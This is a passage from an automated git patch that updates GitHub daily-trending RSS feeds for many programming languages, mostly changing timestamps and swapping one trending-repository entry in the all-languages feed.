From fb97be7cbced2aeed55a622f399bd94a32b56dc4 Mon Sep 17 00:00:00 2001 From: github-actions-bot Date: Wed, 20 Sep 2023 13:03:40 +0000 Subject: [PATCH] Updates --- 1c-enterprise/daily/index.xml | 2 +- 2-dimensional-array/daily/index.xml | 2 +- 4d/daily/index.xml | 2 +- abap-cds/daily/index.xml | 2 +- abap/daily/index.xml | 2 +- abnf/daily/index.xml | 2 +- actionscript/daily/index.xml | 2 +- ada/daily/index.xml | 2 +- adobe-font-metrics/daily/index.xml | 2 +- agda/daily/index.xml | 2 +- ags-script/daily/index.xml | 2 +- aidl/daily/index.xml | 2 +- al/daily/index.xml | 2 +- all/daily/index.xml | 32 +++++++++---------- alloy/daily/index.xml | 2 +- alpine-abuild/daily/index.xml | 2 +- altium-designer/daily/index.xml | 2 +- ampl/daily/index.xml | 2 +- angelscript/daily/index.xml | 2 +- ant-build-system/daily/index.xml | 2 +- antlr/daily/index.xml | 2 +- apacheconf/daily/index.xml | 2 +- apex/daily/index.xml | 2 +- api-blueprint/daily/index.xml | 2 +- apl/daily/index.xml | 2 +- apollo-guidance-computer/daily/index.xml | 2 +- applescript/daily/index.xml | 2 +- arc/daily/index.xml | 2 +- asciidoc/daily/index.xml | 2 +- asl/daily/index.xml | 9 +----- asn.1/daily/index.xml | 2 +- asp.net/daily/index.xml | 2 +- aspectj/daily/index.xml | 2 +- assembly/daily/index.xml | 2 +- astro/daily/index.xml | 2 +- asymptote/daily/index.xml | 2 +- ats/daily/index.xml | 2 +- augeas/daily/index.xml | 2 +- autohotkey/daily/index.xml | 2 +- autoit/daily/index.xml | 2 +- avro-idl/daily/index.xml | 2 +- awk/daily/index.xml | 2 +- ballerina/daily/index.xml | 2 +- basic/daily/index.xml | 2 +- batchfile/daily/index.xml | 2 +- beef/daily/index.xml | 2 +- befunge/daily/index.xml | 2 +- berry/daily/index.xml | 2 +- bibtex/daily/index.xml | 2 +- bicep/daily/index.xml | 9 +----- bison/daily/index.xml | 2 +- bitbake/daily/index.xml | 2 +- blade/daily/index.xml | 9 +----- blitzbasic/daily/index.xml | 2 +- blitzmax/daily/index.xml | 2 +- bluespec/daily/index.xml | 2 +- boo/daily/index.xml | 2 +- boogie/daily/index.xml | 2 +- brainfuck/daily/index.xml | 2 +- brightscript/daily/index.xml | 2 +- browserslist/daily/index.xml | 2 +- c%23/daily/index.xml | 26 ++++----------- c++/daily/index.xml | 2 +- c-objdump/daily/index.xml | 2 +- c/daily/index.xml | 9 +++++- c2hs-haskell/daily/index.xml | 2 +- cabal-config/daily/index.xml | 2 +- cadence/daily/index.xml | 2 +- cairo/daily/index.xml | 2 +- cap'n-proto/daily/index.xml | 2 +- cartocss/daily/index.xml | 2 +- ceylon/daily/index.xml | 2 +- chapel/daily/index.xml | 2 +- charity/daily/index.xml | 2 +- chuck/daily/index.xml | 2 +- cil/daily/index.xml | 2 +- cirru/daily/index.xml | 2 +- clarion/daily/index.xml | 2 +- clarity/daily/index.xml | 2 +- classic-asp/daily/index.xml | 2 +- clean/daily/index.xml | 2 +- click/daily/index.xml | 2 +- clips/daily/index.xml | 2 +- clojure/daily/index.xml | 12 +++---- closure-templates/daily/index.xml | 2 +- .../daily/index.xml | 2 +- cmake/daily/index.xml | 9 +----- cobol/daily/index.xml | 2 +- codeowners/daily/index.xml | 2 +- codeql/daily/index.xml | 2 +- coffeescript/daily/index.xml | 2 +- coldfusion-cfc/daily/index.xml | 2 +- coldfusion/daily/index.xml | 2 +- collada/daily/index.xml | 2 +- common-lisp/daily/index.xml | 9 +----- common-workflow-language/daily/index.xml | 2 +- component-pascal/daily/index.xml | 9 +++++- conll-u/daily/index.xml | 2 +- cool/daily/index.xml | 2 +- coq/daily/index.xml | 9 +----- cpp-objdump/daily/index.xml | 2 +- creole/daily/index.xml | 2 +- crystal/daily/index.xml | 2 +- cson/daily/index.xml | 2 +- csound-document/daily/index.xml | 2 +- csound-score/daily/index.xml | 2 +- csound/daily/index.xml | 2 +- css/daily/index.xml | 19 +++++++---- csv/daily/index.xml | 2 +- cuda/daily/index.xml | 2 +- cue/daily/index.xml | 2 +- curl-config/daily/index.xml | 2 +- curry/daily/index.xml | 2 +- cweb/daily/index.xml | 2 +- cycript/daily/index.xml | 2 +- cython/daily/index.xml | 2 +- d-objdump/daily/index.xml | 2 +- d/daily/index.xml | 9 +++++- dafny/daily/index.xml | 2 +- darcs-patch/daily/index.xml | 2 +- dart/daily/index.xml | 22 ++++++------- dataweave/daily/index.xml | 2 +- debian-package-control-file/daily/index.xml | 2 +- denizenscript/daily/index.xml | 2 +- desktop/daily/index.xml | 2 +- dhall/daily/index.xml | 2 +- diff/daily/index.xml | 2 +- digital-command-language/daily/index.xml | 9 +++++- dircolors/daily/index.xml | 2 +- directx-3d-file/daily/index.xml | 2 +- dm/daily/index.xml | 2 +- dns-zone/daily/index.xml | 2 +- dockerfile/daily/index.xml | 9 +++++- dogescript/daily/index.xml | 2 +- dtrace/daily/index.xml | 2 +- dylan/daily/index.xml | 2 +- e-mail/daily/index.xml | 2 +- e/daily/index.xml | 2 +- eagle/daily/index.xml | 2 +- earthly/daily/index.xml | 2 +- easybuild/daily/index.xml | 2 +- ebnf/daily/index.xml | 2 +- ec/daily/index.xml | 2 +- ecere-projects/daily/index.xml | 2 +- ecl/daily/index.xml | 2 +- eclipse/daily/index.xml | 2 +- editorconfig/daily/index.xml | 2 +- edje-data-collection/daily/index.xml | 2 +- edn/daily/index.xml | 2 +- eiffel/daily/index.xml | 2 +- ejs/daily/index.xml | 2 +- elixir/daily/index.xml | 19 ++++------- elm/daily/index.xml | 2 +- emacs-lisp/daily/index.xml | 19 +++++++---- emberscript/daily/index.xml | 2 +- eq/daily/index.xml | 2 +- erlang/daily/index.xml | 2 +- euphoria/daily/index.xml | 2 +- f%23/daily/index.xml | 2 +- f*/daily/index.xml | 2 +- factor/daily/index.xml | 2 +- fancy/daily/index.xml | 2 +- fantom/daily/index.xml | 2 +- faust/daily/index.xml | 2 +- fennel/daily/index.xml | 2 +- figlet-font/daily/index.xml | 2 +- filebench-wml/daily/index.xml | 2 +- filterscript/daily/index.xml | 2 +- fish/daily/index.xml | 2 +- fluent/daily/index.xml | 2 +- flux/daily/index.xml | 2 +- formatted/daily/index.xml | 2 +- forth/daily/index.xml | 2 +- fortran-free-form/daily/index.xml | 2 +- fortran/daily/index.xml | 9 +++++- freebasic/daily/index.xml | 2 +- freemarker/daily/index.xml | 2 +- frege/daily/index.xml | 2 +- futhark/daily/index.xml | 2 +- g-code/daily/index.xml | 9 +----- game-maker-language/daily/index.xml | 2 +- gaml/daily/index.xml | 2 +- gams/daily/index.xml | 2 +- gap/daily/index.xml | 2 +- gcc-machine-description/daily/index.xml | 2 +- gdb/daily/index.xml | 2 +- gdscript/daily/index.xml | 29 ++++++++++------- gedcom/daily/index.xml | 2 +- gemfile.lock/daily/index.xml | 2 +- genero-forms/daily/index.xml | 2 +- genero/daily/index.xml | 2 +- genie/daily/index.xml | 2 +- genshi/daily/index.xml | 2 +- gentoo-ebuild/daily/index.xml | 2 +- gentoo-eclass/daily/index.xml | 2 +- gerber-image/daily/index.xml | 2 +- gettext-catalog/daily/index.xml | 2 +- gherkin/daily/index.xml | 2 +- git-attributes/daily/index.xml | 2 +- git-config/daily/index.xml | 2 +- gleam/daily/index.xml | 2 +- glsl/daily/index.xml | 2 +- .../daily/index.xml | 2 +- glyph/daily/index.xml | 2 +- gn/daily/index.xml | 2 +- gnuplot/daily/index.xml | 2 +- go-checksums/daily/index.xml | 2 +- go-module/daily/index.xml | 2 +- go/daily/index.xml | 19 +++++++---- golo/daily/index.xml | 2 +- gosu/daily/index.xml | 2 +- grace/daily/index.xml | 2 +- gradle/daily/index.xml | 2 +- grammatical-framework/daily/index.xml | 2 +- graph-modeling-language/daily/index.xml | 2 +- graphql/daily/index.xml | 2 +- graphviz-(dot)/daily/index.xml | 2 +- groovy-server-pages/daily/index.xml | 2 +- groovy/daily/index.xml | 9 +++++- gsc/daily/index.xml | 2 +- hack/daily/index.xml | 2 +- haml/daily/index.xml | 2 +- handlebars/daily/index.xml | 2 +- haproxy/daily/index.xml | 2 +- harbour/daily/index.xml | 2 +- haskell/daily/index.xml | 9 +----- haxe/daily/index.xml | 2 +- hcl/daily/index.xml | 19 ++++------- hiveql/daily/index.xml | 2 +- hlsl/daily/index.xml | 2 +- holyc/daily/index.xml | 2 +- hoon/daily/index.xml | 2 +- html+ecr/daily/index.xml | 2 +- html+eex/daily/index.xml | 2 +- html+erb/daily/index.xml | 2 +- html+php/daily/index.xml | 2 +- html+razor/daily/index.xml | 2 +- html/daily/index.xml | 19 +++++++---- http/daily/index.xml | 2 +- hxml/daily/index.xml | 2 +- hy/daily/index.xml | 2 +- hyphy/daily/index.xml | 2 +- idl/daily/index.xml | 2 +- idris/daily/index.xml | 2 +- ignore-list/daily/index.xml | 2 +- igor-pro/daily/index.xml | 2 +- imagej-macro/daily/index.xml | 2 +- inform-7/daily/index.xml | 2 +- ini/daily/index.xml | 2 +- inno-setup/daily/index.xml | 2 +- io/daily/index.xml | 2 +- ioke/daily/index.xml | 2 +- irc-log/daily/index.xml | 2 +- isabelle-root/daily/index.xml | 2 +- isabelle/daily/index.xml | 2 +- j/daily/index.xml | 2 +- janet/daily/index.xml | 2 +- jar-manifest/daily/index.xml | 2 +- jasmin/daily/index.xml | 2 +- java-properties/daily/index.xml | 2 +- java-server-pages/daily/index.xml | 2 +- java/daily/index.xml | 29 ++++++++++------- javascript+erb/daily/index.xml | 2 +- javascript/daily/index.xml | 12 +++---- jest-snapshot/daily/index.xml | 2 +- jflex/daily/index.xml | 2 +- jinja/daily/index.xml | 2 +- jison-lex/daily/index.xml | 2 +- jison/daily/index.xml | 2 +- jolie/daily/index.xml | 2 +- jq/daily/index.xml | 2 +- json-with-comments/daily/index.xml | 2 +- json/daily/index.xml | 2 +- json5/daily/index.xml | 2 +- jsoniq/daily/index.xml | 2 +- jsonld/daily/index.xml | 2 +- jsonnet/daily/index.xml | 2 +- julia/daily/index.xml | 9 +----- jupyter-notebook/daily/index.xml | 29 +++++++---------- kaitai-struct/daily/index.xml | 2 +- kakounescript/daily/index.xml | 2 +- kicad-layout/daily/index.xml | 2 +- kicad-legacy-layout/daily/index.xml | 2 +- kicad-schematic/daily/index.xml | 2 +- kit/daily/index.xml | 2 +- kotlin/daily/index.xml | 9 +++++- krl/daily/index.xml | 2 +- kusto/daily/index.xml | 2 +- kvlang/daily/index.xml | 2 +- labview/daily/index.xml | 2 +- lark/daily/index.xml | 2 +- lasso/daily/index.xml | 2 +- latte/daily/index.xml | 2 +- lean/daily/index.xml | 16 +--------- less/daily/index.xml | 2 +- lex/daily/index.xml | 2 +- lfe/daily/index.xml | 2 +- ligolang/daily/index.xml | 2 +- lilypond/daily/index.xml | 2 +- limbo/daily/index.xml | 2 +- linker-script/daily/index.xml | 2 +- linux-kernel-module/daily/index.xml | 2 +- liquid/daily/index.xml | 9 +----- literate-agda/daily/index.xml | 2 +- literate-coffeescript/daily/index.xml | 2 +- literate-haskell/daily/index.xml | 2 +- livescript/daily/index.xml | 2 +- llvm/daily/index.xml | 2 +- logos/daily/index.xml | 2 +- logtalk/daily/index.xml | 2 +- lolcode/daily/index.xml | 2 +- lookml/daily/index.xml | 2 +- loomscript/daily/index.xml | 2 +- lsl/daily/index.xml | 2 +- ltspice-symbol/daily/index.xml | 2 +- lua/daily/index.xml | 9 +----- m/daily/index.xml | 2 +- m4/daily/index.xml | 2 +- m4sugar/daily/index.xml | 2 +- macaulay2/daily/index.xml | 2 +- makefile/daily/index.xml | 9 +----- mako/daily/index.xml | 2 +- markdown/daily/index.xml | 2 +- marko/daily/index.xml | 2 +- mask/daily/index.xml | 2 +- mathematica/daily/index.xml | 2 +- matlab/daily/index.xml | 22 ++++++------- maven-pom/daily/index.xml | 2 +- max/daily/index.xml | 2 +- maxscript/daily/index.xml | 2 +- mcfunction/daily/index.xml | 2 +- mercury/daily/index.xml | 2 +- meson/daily/index.xml | 2 +- metal/daily/index.xml | 2 +- .../daily/index.xml | 2 +- .../daily/index.xml | 2 +- minid/daily/index.xml | 2 +- mint/daily/index.xml | 2 +- mirah/daily/index.xml | 2 +- mirc-script/daily/index.xml | 2 +- mlir/daily/index.xml | 9 +++++- modelica/daily/index.xml | 2 +- modula-2/daily/index.xml | 2 +- modula-3/daily/index.xml | 2 +- module-management-system/daily/index.xml | 2 +- monkey-c/daily/index.xml | 2 +- monkey/daily/index.xml | 2 +- moocode/daily/index.xml | 2 +- moonscript/daily/index.xml | 2 +- motoko/daily/index.xml | 2 +- motorola-68k-assembly/daily/index.xml | 2 +- mql4/daily/index.xml | 2 +- mql5/daily/index.xml | 2 +- mtml/daily/index.xml | 2 +- muf/daily/index.xml | 2 +- mupad/daily/index.xml | 2 +- muse/daily/index.xml | 2 +- mustache/daily/index.xml | 2 +- myghty/daily/index.xml | 2 +- nanorc/daily/index.xml | 2 +- nasl/daily/index.xml | 2 +- ncl/daily/index.xml | 2 +- nearley/daily/index.xml | 2 +- nemerle/daily/index.xml | 2 +- neon/daily/index.xml | 2 +- nesc/daily/index.xml | 2 +- netlinx+erb/daily/index.xml | 2 +- netlinx/daily/index.xml | 2 +- netlogo/daily/index.xml | 2 +- newlisp/daily/index.xml | 2 +- nextflow/daily/index.xml | 2 +- nginx/daily/index.xml | 2 +- nim/daily/index.xml | 2 +- ninja/daily/index.xml | 2 +- nit/daily/index.xml | 2 +- nix/daily/index.xml | 9 +----- nl/daily/index.xml | 2 +- npm-config/daily/index.xml | 2 +- nsis/daily/index.xml | 2 +- nu/daily/index.xml | 2 +- numpy/daily/index.xml | 2 +- nunjucks/daily/index.xml | 2 +- nwscript/daily/index.xml | 2 +- objdump/daily/index.xml | 2 +- object-data-instance-notation/daily/index.xml | 2 +- objective-c++/daily/index.xml | 2 +- objective-c/daily/index.xml | 2 +- objective-j/daily/index.xml | 2 +- objectscript/daily/index.xml | 2 +- ocaml/daily/index.xml | 12 +++---- odin/daily/index.xml | 2 +- omgrofl/daily/index.xml | 2 +- ooc/daily/index.xml | 2 +- opa/daily/index.xml | 2 +- opal/daily/index.xml | 2 +- open-policy-agent/daily/index.xml | 2 +- opencl/daily/index.xml | 2 +- openedge-abl/daily/index.xml | 2 +- openqasm/daily/index.xml | 2 +- openrc-runscript/daily/index.xml | 2 +- openscad/daily/index.xml | 2 +- openstep-property-list/daily/index.xml | 2 +- opentype-feature-file/daily/index.xml | 2 +- org/daily/index.xml | 2 +- ox/daily/index.xml | 2 +- oxygene/daily/index.xml | 2 +- oz/daily/index.xml | 2 +- p4/daily/index.xml | 2 +- pan/daily/index.xml | 2 +- papyrus/daily/index.xml | 2 +- parrot-assembly/daily/index.xml | 2 +- .../daily/index.xml | 2 +- parrot/daily/index.xml | 2 +- pascal/daily/index.xml | 2 +- pawn/daily/index.xml | 2 +- peg.js/daily/index.xml | 2 +- pep8/daily/index.xml | 2 +- perl/daily/index.xml | 23 ++++++++++++- php/daily/index.xml | 2 +- pic/daily/index.xml | 2 +- pickle/daily/index.xml | 2 +- picolisp/daily/index.xml | 2 +- piglatin/daily/index.xml | 2 +- pike/daily/index.xml | 2 +- plantuml/daily/index.xml | 2 +- plpgsql/daily/index.xml | 2 +- plsql/daily/index.xml | 2 +- pod-6/daily/index.xml | 2 +- pod/daily/index.xml | 2 +- pogoscript/daily/index.xml | 2 +- pony/daily/index.xml | 2 +- postcss/daily/index.xml | 2 +- postscript/daily/index.xml | 2 +- pov-ray-sdl/daily/index.xml | 2 +- powerbuilder/daily/index.xml | 2 +- powershell/daily/index.xml | 22 ++++++------- prisma/daily/index.xml | 2 +- processing/daily/index.xml | 2 +- procfile/daily/index.xml | 2 +- proguard/daily/index.xml | 2 +- prolog/daily/index.xml | 2 +- promela/daily/index.xml | 2 +- propeller-spin/daily/index.xml | 2 +- protocol-buffer-text-format/daily/index.xml | 2 +- protocol-buffer/daily/index.xml | 2 +- public-key/daily/index.xml | 2 +- pug/daily/index.xml | 2 +- puppet/daily/index.xml | 9 +++++- pure-data/daily/index.xml | 2 +- purebasic/daily/index.xml | 2 +- purescript/daily/index.xml | 9 +++++- python-console/daily/index.xml | 2 +- python-traceback/daily/index.xml | 2 +- python/daily/index.xml | 32 +++++++++---------- q%23/daily/index.xml | 2 +- q/daily/index.xml | 2 +- qmake/daily/index.xml | 2 +- qml/daily/index.xml | 2 +- qt-script/daily/index.xml | 2 +- quake/daily/index.xml | 2 +- r/daily/index.xml | 29 +++++++---------- racket/daily/index.xml | 2 +- ragel/daily/index.xml | 2 +- raku/daily/index.xml | 2 +- raml/daily/index.xml | 2 +- rascal/daily/index.xml | 2 +- raw-token-data/daily/index.xml | 2 +- rdoc/daily/index.xml | 2 +- readline-config/daily/index.xml | 2 +- realbasic/daily/index.xml | 2 +- reason/daily/index.xml | 2 +- rebol/daily/index.xml | 2 +- record-jar/daily/index.xml | 2 +- red/daily/index.xml | 2 +- redcode/daily/index.xml | 2 +- redirect-rules/daily/index.xml | 2 +- regular-expression/daily/index.xml | 2 +- ren'py/daily/index.xml | 2 +- renderscript/daily/index.xml | 2 +- rescript/daily/index.xml | 2 +- restructuredtext/daily/index.xml | 2 +- rexx/daily/index.xml | 2 +- rich-text-format/daily/index.xml | 2 +- ring/daily/index.xml | 2 +- riot/daily/index.xml | 2 +- rmarkdown/daily/index.xml | 2 +- robotframework/daily/index.xml | 2 +- robots.txt/daily/index.xml | 2 +- roff-manpage/daily/index.xml | 2 +- roff/daily/index.xml | 2 +- rouge/daily/index.xml | 2 +- rpc/daily/index.xml | 2 +- rpgle/daily/index.xml | 2 +- rpm-spec/daily/index.xml | 2 +- ruby/daily/index.xml | 26 ++++----------- runoff/daily/index.xml | 2 +- rust/daily/index.xml | 9 +++++- sage/daily/index.xml | 2 +- saltstack/daily/index.xml | 2 +- sas/daily/index.xml | 2 +- sass/daily/index.xml | 2 +- scala/daily/index.xml | 12 +++---- scaml/daily/index.xml | 2 +- scheme/daily/index.xml | 2 +- scilab/daily/index.xml | 2 +- scss/daily/index.xml | 16 +++++++++- sed/daily/index.xml | 2 +- self/daily/index.xml | 2 +- selinux-policy/daily/index.xml | 2 +- shaderlab/daily/index.xml | 2 +- shell/daily/index.xml | 9 +----- shellcheck-config/daily/index.xml | 2 +- shellsession/daily/index.xml | 2 +- shen/daily/index.xml | 2 +- sieve/daily/index.xml | 2 +- singularity/daily/index.xml | 2 +- slash/daily/index.xml | 2 +- slice/daily/index.xml | 2 +- slim/daily/index.xml | 2 +- smali/daily/index.xml | 2 +- smalltalk/daily/index.xml | 9 +----- smarty/daily/index.xml | 2 +- smpl/daily/index.xml | 2 +- smt/daily/index.xml | 2 +- solidity/daily/index.xml | 16 +++++++++- soong/daily/index.xml | 2 +- sourcepawn/daily/index.xml | 2 +- sparql/daily/index.xml | 2 +- spline-font-database/daily/index.xml | 2 +- sqf/daily/index.xml | 2 +- sql/daily/index.xml | 2 +- sqlpl/daily/index.xml | 2 +- squirrel/daily/index.xml | 2 +- srecode-template/daily/index.xml | 2 +- ssh-config/daily/index.xml | 2 +- stan/daily/index.xml | 2 +- standard-ml/daily/index.xml | 2 +- starlark/daily/index.xml | 2 +- stata/daily/index.xml | 2 +- ston/daily/index.xml | 2 +- stringtemplate/daily/index.xml | 2 +- stylus/daily/index.xml | 2 +- subrip-text/daily/index.xml | 2 +- sugarss/daily/index.xml | 2 +- supercollider/daily/index.xml | 2 +- svelte/daily/index.xml | 22 ++++++------- svg/daily/index.xml | 2 +- swift/daily/index.xml | 23 +------------ swig/daily/index.xml | 2 +- systemverilog/daily/index.xml | 9 +++++- talon/daily/index.xml | 2 +- tcl/daily/index.xml | 2 +- tcsh/daily/index.xml | 2 +- tea/daily/index.xml | 2 +- terra/daily/index.xml | 2 +- tex/daily/index.xml | 19 +++++++---- texinfo/daily/index.xml | 2 +- text/daily/index.xml | 2 +- textile/daily/index.xml | 2 +- textmate-properties/daily/index.xml | 2 +- thrift/daily/index.xml | 2 +- ti-program/daily/index.xml | 2 +- tla/daily/index.xml | 2 +- toml/daily/index.xml | 2 +- tsql/daily/index.xml | 2 +- tsv/daily/index.xml | 2 +- tsx/daily/index.xml | 2 +- turing/daily/index.xml | 2 +- turtle/daily/index.xml | 2 +- twig/daily/index.xml | 2 +- txl/daily/index.xml | 2 +- type-language/daily/index.xml | 2 +- typescript/daily/index.xml | 29 +++++++---------- unified-parallel-c/daily/index.xml | 2 +- unity3d-asset/daily/index.xml | 2 +- unix-assembly/daily/index.xml | 2 +- unknown/daily/index.xml | 32 +++++++++---------- uno/daily/index.xml | 2 +- unrealscript/daily/index.xml | 2 +- urweb/daily/index.xml | 2 +- v/daily/index.xml | 2 +- vala/daily/index.xml | 2 +- valve-data-format/daily/index.xml | 2 +- vba/daily/index.xml | 2 +- vbscript/daily/index.xml | 2 +- vcl/daily/index.xml | 2 +- verilog/daily/index.xml | 2 +- vhdl/daily/index.xml | 2 +- vim-help-file/daily/index.xml | 2 +- vim-script/daily/index.xml | 19 +++++++---- vim-snippet/daily/index.xml | 2 +- visual-basic-.net/daily/index.xml | 2 +- volt/daily/index.xml | 2 +- vue/daily/index.xml | 23 +------------ vyper/daily/index.xml | 2 +- wavefront-material/daily/index.xml | 2 +- wavefront-object/daily/index.xml | 2 +- wdl/daily/index.xml | 2 +- web-ontology-language/daily/index.xml | 2 +- webassembly/daily/index.xml | 2 +- webidl/daily/index.xml | 2 +- webvtt/daily/index.xml | 2 +- wget-config/daily/index.xml | 2 +- wikitext/daily/index.xml | 2 +- windows-registry-entries/daily/index.xml | 2 +- wisp/daily/index.xml | 2 +- witcher-script/daily/index.xml | 2 +- wollok/daily/index.xml | 2 +- world-of-warcraft-addon-data/daily/index.xml | 2 +- x-bitmap/daily/index.xml | 2 +- x-font-directory-index/daily/index.xml | 2 +- x-pixmap/daily/index.xml | 2 +- x10/daily/index.xml | 2 +- xbase/daily/index.xml | 2 +- xc/daily/index.xml | 2 +- xcompose/daily/index.xml | 2 +- xml-property-list/daily/index.xml | 2 +- xml/daily/index.xml | 9 +++++- xojo/daily/index.xml | 2 +- xonsh/daily/index.xml | 2 +- xpages/daily/index.xml | 2 +- xproc/daily/index.xml | 2 +- xquery/daily/index.xml | 2 +- xs/daily/index.xml | 2 +- xslt/daily/index.xml | 2 +- xtend/daily/index.xml | 2 +- yacc/daily/index.xml | 2 +- yaml/daily/index.xml | 2 +- yang/daily/index.xml | 2 +- yara/daily/index.xml | 2 +- yasnippet/daily/index.xml | 2 +- zap/daily/index.xml | 2 +- zeek/daily/index.xml | 2 +- zenscript/daily/index.xml | 2 +- zephir/daily/index.xml | 2 +- zig/daily/index.xml | 9 +++++- zil/daily/index.xml | 2 +- zimpl/daily/index.xml | 2 +- 638 files changed, 1053 insertions(+), 1067 deletions(-) diff --git a/1c-enterprise/daily/index.xml b/1c-enterprise/daily/index.xml index ebd291775e2..7d3801d5c24 100644 --- a/1c-enterprise/daily/index.xml +++ b/1c-enterprise/daily/index.xml @@ -1,7 +1,7 @@ GitHub 1C Enterprise Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:23:51Z + 2023-09-20T01:23:11Z Daily Trending of 1C Enterprise in GitHub \ No newline at end of file diff --git a/2-dimensional-array/daily/index.xml b/2-dimensional-array/daily/index.xml index 042864e27bd..061cc8bf9f7 100644 --- a/2-dimensional-array/daily/index.xml +++ b/2-dimensional-array/daily/index.xml @@ -1,7 +1,7 @@ GitHub 2-Dimensional Array Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:17Z + 2023-09-20T01:24:02Z Daily Trending of 2-Dimensional Array in GitHub \ No newline at end of file diff --git a/4d/daily/index.xml b/4d/daily/index.xml index 40d477206ba..508ed88f5a6 100644 --- a/4d/daily/index.xml +++ b/4d/daily/index.xml @@ -1,7 +1,7 @@ GitHub 4D Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:18Z + 2023-09-20T01:24:01Z Daily Trending of 4D in GitHub \ No newline at end of file diff --git a/abap-cds/daily/index.xml b/abap-cds/daily/index.xml index 915a5f7207c..b9539e97211 100644 --- a/abap-cds/daily/index.xml +++ b/abap-cds/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP CDS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:17Z + 2023-09-20T01:24:03Z Daily Trending of ABAP CDS in GitHub \ No newline at end of file diff --git a/abap/daily/index.xml b/abap/daily/index.xml index 3263fc1bca3..40c541cbd34 100644 --- a/abap/daily/index.xml +++ b/abap/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABAP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:16Z + 2023-09-20T01:24:00Z Daily Trending of ABAP in GitHub \ No newline at end of file diff --git a/abnf/daily/index.xml b/abnf/daily/index.xml index dcf08b2f5d7..15c3e0b182f 100644 --- a/abnf/daily/index.xml +++ b/abnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub ABNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:20Z + 2023-09-20T01:24:04Z Daily Trending of ABNF in GitHub \ No newline at end of file diff --git a/actionscript/daily/index.xml b/actionscript/daily/index.xml index d23b11611ed..b4bfc6506e9 100644 --- a/actionscript/daily/index.xml +++ b/actionscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub ActionScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:22Z + 2023-09-20T01:24:05Z Daily Trending of ActionScript in GitHub \ No newline at end of file diff --git a/ada/daily/index.xml b/ada/daily/index.xml index ff00b1e4f5a..c8a5b910352 100644 --- a/ada/daily/index.xml +++ b/ada/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ada Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:19Z + 2023-09-20T01:24:06Z Daily Trending of Ada in GitHub \ No newline at end of file diff --git a/adobe-font-metrics/daily/index.xml b/adobe-font-metrics/daily/index.xml index c29c206d9a3..22e62012a8d 100644 --- a/adobe-font-metrics/daily/index.xml +++ b/adobe-font-metrics/daily/index.xml @@ -1,7 +1,7 @@ GitHub Adobe Font Metrics Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:24Z + 2023-09-20T01:24:10Z Daily Trending of Adobe Font Metrics in GitHub \ No newline at end of file diff --git a/agda/daily/index.xml b/agda/daily/index.xml index 4bb22907c5c..1cbacdc9ea8 100644 --- a/agda/daily/index.xml +++ b/agda/daily/index.xml @@ -1,7 +1,7 @@ GitHub Agda Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:26Z + 2023-09-20T01:24:12Z Daily Trending of Agda in GitHub \ No newline at end of file diff --git a/ags-script/daily/index.xml b/ags-script/daily/index.xml index a1d3e52895c..f62d05d910b 100644 --- a/ags-script/daily/index.xml +++ b/ags-script/daily/index.xml @@ -1,7 +1,7 @@ GitHub AGS Script Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:27Z + 2023-09-20T01:24:08Z Daily Trending of AGS Script in GitHub \ No newline at end of file diff --git a/aidl/daily/index.xml b/aidl/daily/index.xml index bec28cd07f1..507f73e645a 100644 --- a/aidl/daily/index.xml +++ b/aidl/daily/index.xml @@ -1,7 +1,7 @@ GitHub AIDL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:25Z + 2023-09-20T01:24:09Z Daily Trending of AIDL in GitHub \ No newline at end of file diff --git a/al/daily/index.xml b/al/daily/index.xml index 9fdf4f207cf..d628ca12204 100644 --- a/al/daily/index.xml +++ b/al/daily/index.xml @@ -1,7 +1,7 @@ GitHub AL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:29Z + 2023-09-20T01:24:16Z Daily Trending of AL in GitHub \ No newline at end of file diff --git a/all/daily/index.xml b/all/daily/index.xml index 41d5876a18e..b8d00e98f69 100644 --- a/all/daily/index.xml +++ b/all/daily/index.xml @@ -1,28 +1,28 @@ GitHub All Languages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:24:00Z + 2023-09-20T01:23:26Z Daily Trending of All Languages in GitHub - Klipper3d/klipper - 2023-09-19T01:24:00Z - tag:github.com,2023-09-19:/Klipper3d/klipper - - <p>Klipper is a 3d-printer firmware</p><hr><p>Welcome to the Klipper project!</p> <p><a href="https://www.klipper3d.org/"><img src="https://raw.githubusercontent.com/Klipper3d/klipper/master/docs/img/klipper-logo-small.png" alt="Klipper"></a></p> <p><a href="https://www.klipper3d.org/">https://www.klipper3d.org/</a></p> <p>Klipper is a 3d-Printer firmware. It combines the power of a general purpose computer with one or more micro-controllers. See the <a href="https://www.klipper3d.org/Features.html">features document</a> for more information on why you should use Klipper.</p> <p>To begin using Klipper start by <a href="https://www.klipper3d.org/Installation.html">installing</a> it.</p> <p>Klipper is Free Software. See the <a href="https://raw.githubusercontent.com/Klipper3d/klipper/master/COPYING">license</a> or read the <a href="https://www.klipper3d.org/Overview.html">documentation</a>. We depend on the generous support from our <a href="https://www.klipper3d.org/Sponsors.html">sponsors</a>.</p> + farhanashrafdev/90DaysOfCyberSecurity + 2023-09-20T01:23:26Z + tag:github.com,2023-09-20:/farhanashrafdev/90DaysOfCyberSecurity + + <p>This repository contains a 90-day cybersecurity study plan, along with resources and materials for learning various cybersecurity concepts and technologies. The plan is organized into daily tasks, covering topics such as Network+, Security+, Linux, Python, Traffic Analysis, Git, ELK, AWS, Azure, and Hacking. The repository also includes a `LEARN.md</p><hr><h1>90-Day 